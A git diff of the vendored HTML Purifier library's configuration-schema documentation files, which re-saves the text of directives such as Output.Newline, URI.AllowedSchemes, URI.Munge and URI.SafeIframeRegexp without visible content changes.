    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt index 4bb9025231..79f8ad82cf 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt @@ -1,13 +1,13 @@ -Output.Newline -TYPE: string/null -VERSION: 2.0.1 -DEFAULT: NULL ---DESCRIPTION-- - -

    - Newline string to format final output with. If left null, HTML Purifier - will auto-detect the default newline type of the system and use that; - you can manually override it here. Remember, \r\n is Windows, \r - is Mac, and \n is Unix. -

    ---# vim: et sw=4 sts=4 +Output.Newline +TYPE: string/null +VERSION: 2.0.1 +DEFAULT: NULL +--DESCRIPTION-- + +

    + Newline string to format final output with. If left null, HTML Purifier + will auto-detect the default newline type of the system and use that; + you can manually override it here. Remember, \r\n is Windows, \r + is Mac, and \n is Unix. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt index 3223106517..232b02362a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt @@ -1,14 +1,14 @@ -Output.SortAttr -TYPE: bool -VERSION: 3.2.0 -DEFAULT: false ---DESCRIPTION-- -

    - If true, HTML Purifier will sort attributes by name before writing them back - to the document, converting a tag like: <el b="" a="" c="" /> - to <el a="" b="" c="" />. This is a workaround for - a bug in FCKeditor which causes it to swap attributes order, adding noise - to text diffs. If you're not seeing this bug, chances are, you don't need - this directive. -

    ---# vim: et sw=4 sts=4 +Output.SortAttr +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- +

    + If true, HTML Purifier will sort attributes by name before writing them back + to the document, converting a tag like: <el b="" a="" c="" /> + to <el a="" b="" c="" />. This is a workaround for + a bug in FCKeditor which causes it to swap attributes order, adding noise + to text diffs. If you're not seeing this bug, chances are, you don't need + this directive. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt index 23dd4d3d5d..06bab00a0a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt @@ -1,25 +1,25 @@ -Output.TidyFormat -TYPE: bool -VERSION: 1.1.1 -DEFAULT: false ---DESCRIPTION-- -

    - Determines whether or not to run Tidy on the final output for pretty - formatting reasons, such as indentation and wrap. -

    -

    - This can greatly improve readability for editors who are hand-editing - the HTML, but is by no means necessary as HTML Purifier has already - fixed all major errors the HTML may have had. Tidy is a non-default - extension, and this directive will silently fail if Tidy is not - available. -

    -

    - If you are looking to make the overall look of your page's source - better, I recommend running Tidy on the entire page rather than just - user-content (after all, the indentation relative to the containing - blocks will be incorrect). -

    ---ALIASES-- -Core.TidyFormat ---# vim: et sw=4 sts=4 +Output.TidyFormat +TYPE: bool +VERSION: 1.1.1 +DEFAULT: false +--DESCRIPTION-- +

    + Determines whether or not to run Tidy on the final output for pretty + formatting reasons, such as indentation and wrap. +

    +

    + This can greatly improve readability for editors who are hand-editing + the HTML, but is by no means necessary as HTML Purifier has already + fixed all major errors the HTML may have had. Tidy is a non-default + extension, and this directive will silently fail if Tidy is not + available. +

    +

    + If you are looking to make the overall look of your page's source + better, I recommend running Tidy on the entire page rather than just + user-content (after all, the indentation relative to the containing + blocks will be incorrect). +

    +--ALIASES-- +Core.TidyFormat +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt index d1820cdbd5..071bc0295d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt @@ -1,7 +1,7 @@ -Test.ForceNoIconv -TYPE: bool -DEFAULT: false ---DESCRIPTION-- -When set to true, HTMLPurifier_Encoder will act as if iconv does not exist -and use only pure PHP implementations. ---# vim: et sw=4 sts=4 +Test.ForceNoIconv +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +When set to true, HTMLPurifier_Encoder will act as if iconv does not exist +and use only pure PHP implementations. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt index 0b0533a77f..eb97307e20 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt @@ -1,18 +1,18 @@ -URI.AllowedSchemes -TYPE: lookup ---DEFAULT-- -array ( - 'http' => true, - 'https' => true, - 'mailto' => true, - 'ftp' => true, - 'nntp' => true, - 'news' => true, - 'tel' => true, -) ---DESCRIPTION-- -Whitelist that defines the schemes that a URI is allowed to have. This -prevents XSS attacks from using pseudo-schemes like javascript or mocha. -There is also support for the data and file -URI schemes, but they are not enabled by default. ---# vim: et sw=4 sts=4 +URI.AllowedSchemes +TYPE: lookup +--DEFAULT-- +array ( + 'http' => true, + 'https' => true, + 'mailto' => true, + 'ftp' => true, + 'nntp' => true, + 'news' => true, + 'tel' => true, +) +--DESCRIPTION-- +Whitelist that defines the schemes that a URI is allowed to have. This +prevents XSS attacks from using pseudo-schemes like javascript or mocha. +There is also support for the data and file +URI schemes, but they are not enabled by default. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt index ba4730808f..876f0680cf 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt @@ -1,17 +1,17 @@ -URI.Base -TYPE: string/null -VERSION: 2.1.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - The base URI is the URI of the document this purified HTML will be - inserted into. This information is important if HTML Purifier needs - to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute - is on. You may use a non-absolute URI for this value, but behavior - may vary (%URI.MakeAbsolute deals nicely with both absolute and - relative paths, but forwards-compatibility is not guaranteed). - Warning: If set, the scheme on this URI - overrides the one specified by %URI.DefaultScheme. -

    ---# vim: et sw=4 sts=4 +URI.Base +TYPE: string/null +VERSION: 2.1.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + The base URI is the URI of the document this purified HTML will be + inserted into. This information is important if HTML Purifier needs + to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute + is on. You may use a non-absolute URI for this value, but behavior + may vary (%URI.MakeAbsolute deals nicely with both absolute and + relative paths, but forwards-compatibility is not guaranteed). + Warning: If set, the scheme on this URI + overrides the one specified by %URI.DefaultScheme. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt index 981e443251..834bc08c0b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt @@ -1,15 +1,15 @@ -URI.DefaultScheme -TYPE: string/null -DEFAULT: 'http' ---DESCRIPTION-- - -

    - Defines through what scheme the output will be served, in order to - select the proper object validator when no scheme information is present. -

    - -

    - Starting with HTML Purifier 4.9.0, the default scheme can be null, in - which case we reject all URIs which do not have explicit schemes. -

    ---# vim: et sw=4 sts=4 +URI.DefaultScheme +TYPE: string/null +DEFAULT: 'http' +--DESCRIPTION-- + +

    + Defines through what scheme the output will be served, in order to + select the proper object validator when no scheme information is present. +

    + +

    + Starting with HTML Purifier 4.9.0, the default scheme can be null, in + which case we reject all URIs which do not have explicit schemes. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt index 523204c08a..f05312ba86 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt @@ -1,11 +1,11 @@ -URI.DefinitionID -TYPE: string/null -VERSION: 2.1.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - Unique identifier for a custom-built URI definition. If you want - to add custom URIFilters, you must specify this value. -

    ---# vim: et sw=4 sts=4 +URI.DefinitionID +TYPE: string/null +VERSION: 2.1.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + Unique identifier for a custom-built URI definition. If you want + to add custom URIFilters, you must specify this value. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt index a9c07b1a39..80cfea93f7 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt @@ -1,11 +1,11 @@ -URI.DefinitionRev -TYPE: int -VERSION: 2.1.0 -DEFAULT: 1 ---DESCRIPTION-- - -

    - Revision identifier for your custom definition. See - %HTML.DefinitionRev for details. -

    ---# vim: et sw=4 sts=4 +URI.DefinitionRev +TYPE: int +VERSION: 2.1.0 +DEFAULT: 1 +--DESCRIPTION-- + +

    + Revision identifier for your custom definition. See + %HTML.DefinitionRev for details. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt index b19ca1d5b8..71ce025a2d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt @@ -1,14 +1,14 @@ -URI.Disable -TYPE: bool -VERSION: 1.3.0 -DEFAULT: false ---DESCRIPTION-- - -

    - Disables all URIs in all forms. Not sure why you'd want to do that - (after all, the Internet's founded on the notion of a hyperlink). -

    - ---ALIASES-- -Attr.DisableURI ---# vim: et sw=4 sts=4 +URI.Disable +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +--DESCRIPTION-- + +

    + Disables all URIs in all forms. Not sure why you'd want to do that + (after all, the Internet's founded on the notion of a hyperlink). +

    + +--ALIASES-- +Attr.DisableURI +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt index 9132ea4f5f..13c122c8ce 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt @@ -1,11 +1,11 @@ -URI.DisableExternal -TYPE: bool -VERSION: 1.2.0 -DEFAULT: false ---DESCRIPTION-- -Disables links to external websites. This is a highly effective anti-spam -and anti-pagerank-leech measure, but comes at a hefty price: nolinks or -images outside of your domain will be allowed. Non-linkified URIs will -still be preserved. If you want to be able to link to subdomains or use -absolute URIs, specify %URI.Host for your website. ---# vim: et sw=4 sts=4 +URI.DisableExternal +TYPE: bool +VERSION: 1.2.0 +DEFAULT: false +--DESCRIPTION-- +Disables links to external websites. This is a highly effective anti-spam +and anti-pagerank-leech measure, but comes at a hefty price: nolinks or +images outside of your domain will be allowed. Non-linkified URIs will +still be preserved. If you want to be able to link to subdomains or use +absolute URIs, specify %URI.Host for your website. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt index d74bc1e3da..abcc1efd61 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt @@ -1,13 +1,13 @@ -URI.DisableExternalResources -TYPE: bool -VERSION: 1.3.0 -DEFAULT: false ---DESCRIPTION-- -Disables the embedding of external resources, preventing users from -embedding things like images from other hosts. This prevents access -tracking (good for email viewers), bandwidth leeching, cross-site request -forging, goatse.cx posting, and other nasties, but also results in a loss -of end-user functionality (they can't directly post a pic they posted from -Flickr anymore). Use it if you don't have a robust user-content moderation -team. ---# vim: et sw=4 sts=4 +URI.DisableExternalResources +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +--DESCRIPTION-- +Disables the embedding of external resources, preventing users from +embedding things like images from other hosts. This prevents access +tracking (good for email viewers), bandwidth leeching, cross-site request +forging, goatse.cx posting, and other nasties, but also results in a loss +of end-user functionality (they can't directly post a pic they posted from +Flickr anymore). Use it if you don't have a robust user-content moderation +team. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt index 6c106144a0..f891de4996 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt @@ -1,15 +1,15 @@ -URI.DisableResources -TYPE: bool -VERSION: 4.2.0 -DEFAULT: false ---DESCRIPTION-- -

    - Disables embedding resources, essentially meaning no pictures. You can - still link to them though. See %URI.DisableExternalResources for why - this might be a good idea. -

    -

    - Note: While this directive has been available since 1.3.0, - it didn't actually start doing anything until 4.2.0. -

    ---# vim: et sw=4 sts=4 +URI.DisableResources +TYPE: bool +VERSION: 4.2.0 +DEFAULT: false +--DESCRIPTION-- +

    + Disables embedding resources, essentially meaning no pictures. You can + still link to them though. See %URI.DisableExternalResources for why + this might be a good idea. +

    +

    + Note: While this directive has been available since 1.3.0, + it didn't actually start doing anything until 4.2.0. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt index ba0e6bce19..ee83b121de 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt @@ -1,19 +1,19 @@ -URI.Host -TYPE: string/null -VERSION: 1.2.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - Defines the domain name of the server, so we can determine whether or - an absolute URI is from your website or not. Not strictly necessary, - as users should be using relative URIs to reference resources on your - website. It will, however, let you use absolute URIs to link to - subdomains of the domain you post here: i.e. example.com will allow - sub.example.com. However, higher up domains will still be excluded: - if you set %URI.Host to sub.example.com, example.com will be blocked. - Note: This directive overrides %URI.Base because - a given page may be on a sub-domain, but you wish HTML Purifier to be - more relaxed and allow some of the parent domains too. -

    ---# vim: et sw=4 sts=4 +URI.Host +TYPE: string/null +VERSION: 1.2.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + Defines the domain name of the server, so we can determine whether or + an absolute URI is from your website or not. Not strictly necessary, + as users should be using relative URIs to reference resources on your + website. It will, however, let you use absolute URIs to link to + subdomains of the domain you post here: i.e. example.com will allow + sub.example.com. However, higher up domains will still be excluded: + if you set %URI.Host to sub.example.com, example.com will be blocked. + Note: This directive overrides %URI.Base because + a given page may be on a sub-domain, but you wish HTML Purifier to be + more relaxed and allow some of the parent domains too. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt index 825fef2769..0b6df7625d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt @@ -1,9 +1,9 @@ -URI.HostBlacklist -TYPE: list -VERSION: 1.3.0 -DEFAULT: array() ---DESCRIPTION-- -List of strings that are forbidden in the host of any URI. Use it to kill -domain names of spam, etc. Note that it will catch anything in the domain, -so moo.com will catch moo.com.example.com. ---# vim: et sw=4 sts=4 +URI.HostBlacklist +TYPE: list +VERSION: 1.3.0 +DEFAULT: array() +--DESCRIPTION-- +List of strings that are forbidden in the host of any URI. Use it to kill +domain names of spam, etc. Note that it will catch anything in the domain, +so moo.com will catch moo.com.example.com. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt index eb58c7f1a4..4214900a59 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt @@ -1,13 +1,13 @@ -URI.MakeAbsolute -TYPE: bool -VERSION: 2.1.0 -DEFAULT: false ---DESCRIPTION-- - -

    - Converts all URIs into absolute forms. This is useful when the HTML - being filtered assumes a specific base path, but will actually be - viewed in a different context (and setting an alternate base URI is - not possible). %URI.Base must be set for this directive to work. -

    ---# vim: et sw=4 sts=4 +URI.MakeAbsolute +TYPE: bool +VERSION: 2.1.0 +DEFAULT: false +--DESCRIPTION-- + +

    + Converts all URIs into absolute forms. This is useful when the HTML + being filtered assumes a specific base path, but will actually be + viewed in a different context (and setting an alternate base URI is + not possible). %URI.Base must be set for this directive to work. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt index bedd610d66..58c81dcc44 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt @@ -1,83 +1,83 @@ -URI.Munge -TYPE: string/null -VERSION: 1.3.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - Munges all browsable (usually http, https and ftp) - absolute URIs into another URI, usually a URI redirection service. - This directive accepts a URI, formatted with a %s where - the url-encoded original URI should be inserted (sample: - http://www.google.com/url?q=%s). -

    -

    - Uses for this directive: -

    -
      -
    • - Prevent PageRank leaks, while being fairly transparent - to users (you may also want to add some client side JavaScript to - override the text in the statusbar). Notice: - Many security experts believe that this form of protection does not deter spam-bots. -
    • -
    • - Redirect users to a splash page telling them they are leaving your - website. While this is poor usability practice, it is often mandated - in corporate environments. -
    • -
    -

    - Prior to HTML Purifier 3.1.1, this directive also enabled the munging - of browsable external resources, which could break things if your redirection - script was a splash page or used meta tags. To revert to - previous behavior, please use %URI.MungeResources. -

    -

    - You may want to also use %URI.MungeSecretKey along with this directive - in order to enforce what URIs your redirector script allows. Open - redirector scripts can be a security risk and negatively affect the - reputation of your domain name. -

    -

    - Starting with HTML Purifier 3.1.1, there is also these substitutions: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    KeyDescriptionExample <a href="">
    %r1 - The URI embeds a resource
    (blank) - The URI is merely a link
    %nThe name of the tag this URI came froma
    %mThe name of the attribute this URI came fromhref
    %pThe name of the CSS property this URI came from, or blank if irrelevant
    -

    - Admittedly, these letters are somewhat arbitrary; the only stipulation - was that they couldn't be a through f. r is for resource (I would have preferred - e, but you take what you can get), n is for name, m - was picked because it came after n (and I couldn't use a), p is for - property. -

    ---# vim: et sw=4 sts=4 +URI.Munge +TYPE: string/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + Munges all browsable (usually http, https and ftp) + absolute URIs into another URI, usually a URI redirection service. + This directive accepts a URI, formatted with a %s where + the url-encoded original URI should be inserted (sample: + http://www.google.com/url?q=%s). +

    +

    + Uses for this directive: +

    +
      +
    • + Prevent PageRank leaks, while being fairly transparent + to users (you may also want to add some client side JavaScript to + override the text in the statusbar). Notice: + Many security experts believe that this form of protection does not deter spam-bots. +
    • +
    • + Redirect users to a splash page telling them they are leaving your + website. While this is poor usability practice, it is often mandated + in corporate environments. +
    • +
    +

    + Prior to HTML Purifier 3.1.1, this directive also enabled the munging + of browsable external resources, which could break things if your redirection + script was a splash page or used meta tags. To revert to + previous behavior, please use %URI.MungeResources. +

    +

    + You may want to also use %URI.MungeSecretKey along with this directive + in order to enforce what URIs your redirector script allows. Open + redirector scripts can be a security risk and negatively affect the + reputation of your domain name. +

    +

    + Starting with HTML Purifier 3.1.1, there is also these substitutions: +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    KeyDescriptionExample <a href="">
    %r1 - The URI embeds a resource
    (blank) - The URI is merely a link
    %nThe name of the tag this URI came froma
    %mThe name of the attribute this URI came fromhref
    %pThe name of the CSS property this URI came from, or blank if irrelevant
    +

    + Admittedly, these letters are somewhat arbitrary; the only stipulation + was that they couldn't be a through f. r is for resource (I would have preferred + e, but you take what you can get), n is for name, m + was picked because it came after n (and I couldn't use a), p is for + property. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt index ed4b5b0d02..6fce0fdc37 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt @@ -1,17 +1,17 @@ -URI.MungeResources -TYPE: bool -VERSION: 3.1.1 -DEFAULT: false ---DESCRIPTION-- -

    - If true, any URI munging directives like %URI.Munge - will also apply to embedded resources, such as <img src="">. - Be careful enabling this directive if you have a redirector script - that does not use the Location HTTP header; all of your images - and other embedded resources will break. -

    -

    - Warning: It is strongly advised you use this in conjunction - %URI.MungeSecretKey to mitigate the security risk of an open redirector. -

    ---# vim: et sw=4 sts=4 +URI.MungeResources +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- +

    + If true, any URI munging directives like %URI.Munge + will also apply to embedded resources, such as <img src="">. + Be careful enabling this directive if you have a redirector script + that does not use the Location HTTP header; all of your images + and other embedded resources will break. +

    +

    + Warning: It is strongly advised you use this in conjunction + %URI.MungeSecretKey to mitigate the security risk of an open redirector. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt index 123b6e26b8..1e17c1d461 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt @@ -1,30 +1,30 @@ -URI.MungeSecretKey -TYPE: string/null -VERSION: 3.1.1 -DEFAULT: NULL ---DESCRIPTION-- -

    - This directive enables secure checksum generation along with %URI.Munge. - It should be set to a secure key that is not shared with anyone else. - The checksum can be placed in the URI using %t. Use of this checksum - affords an additional level of protection by allowing a redirector - to check if a URI has passed through HTML Purifier with this line: -

    - -
    $checksum === hash_hmac("sha256", $url, $secret_key)
    - -

    - If the output is TRUE, the redirector script should accept the URI. -

    - -

    - Please note that it would still be possible for an attacker to procure - secure hashes en-mass by abusing your website's Preview feature or the - like, but this service affords an additional level of protection - that should be combined with website blacklisting. -

    - -

    - Remember this has no effect if %URI.Munge is not on. -

    ---# vim: et sw=4 sts=4 +URI.MungeSecretKey +TYPE: string/null +VERSION: 3.1.1 +DEFAULT: NULL +--DESCRIPTION-- +

    + This directive enables secure checksum generation along with %URI.Munge. + It should be set to a secure key that is not shared with anyone else. + The checksum can be placed in the URI using %t. Use of this checksum + affords an additional level of protection by allowing a redirector + to check if a URI has passed through HTML Purifier with this line: +

    + +
    $checksum === hash_hmac("sha256", $url, $secret_key)
    + +

    + If the output is TRUE, the redirector script should accept the URI. +

    + +

    + Please note that it would still be possible for an attacker to procure + secure hashes en-mass by abusing your website's Preview feature or the + like, but this service affords an additional level of protection + that should be combined with website blacklisting. +

    + +

    + Remember this has no effect if %URI.Munge is not on. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt index 8b387dea31..23331a4e79 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt @@ -1,9 +1,9 @@ -URI.OverrideAllowedSchemes -TYPE: bool -DEFAULT: true ---DESCRIPTION-- -If this is set to true (which it is by default), you can override -%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme to the -registry. If false, you will also have to update that directive in order -to add more schemes. ---# vim: et sw=4 sts=4 +URI.OverrideAllowedSchemes +TYPE: bool +DEFAULT: true +--DESCRIPTION-- +If this is set to true (which it is by default), you can override +%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme to the +registry. If false, you will also have to update that directive in order +to add more schemes. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt index 7e1f227f79..79084832be 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt @@ -1,22 +1,22 @@ -URI.SafeIframeRegexp -TYPE: string/null -VERSION: 4.4.0 -DEFAULT: NULL ---DESCRIPTION-- -

    - A PCRE regular expression that will be matched against an iframe URI. This is - a relatively inflexible scheme, but works well enough for the most common - use-case of iframes: embedded video. This directive only has an effect if - %HTML.SafeIframe is enabled. Here are some example values: -

    -
      -
    • %^http://www.youtube.com/embed/% - Allow YouTube videos
    • -
    • %^http://player.vimeo.com/video/% - Allow Vimeo videos
    • -
    • %^http://(www.youtube.com/embed/|player.vimeo.com/video/)% - Allow both
    • -
    -

    - Note that this directive does not give you enough granularity to, say, disable - all autoplay videos. Pipe up on the HTML Purifier forums if this - is a capability you want. -

    ---# vim: et sw=4 sts=4 +URI.SafeIframeRegexp +TYPE: string/null +VERSION: 4.4.0 +DEFAULT: NULL +--DESCRIPTION-- +

    + A PCRE regular expression that will be matched against an iframe URI. This is + a relatively inflexible scheme, but works well enough for the most common + use-case of iframes: embedded video. This directive only has an effect if + %HTML.SafeIframe is enabled. Here are some example values: +

    +
      +
    • %^http://www.youtube.com/embed/% - Allow YouTube videos
    • +
    • %^http://player.vimeo.com/video/% - Allow Vimeo videos
    • +
    • %^http://(www.youtube.com/embed/|player.vimeo.com/video/)% - Allow both
    • +
    +

    + Note that this directive does not give you enough granularity to, say, disable + all autoplay videos. Pipe up on the HTML Purifier forums if this + is a capability you want. +

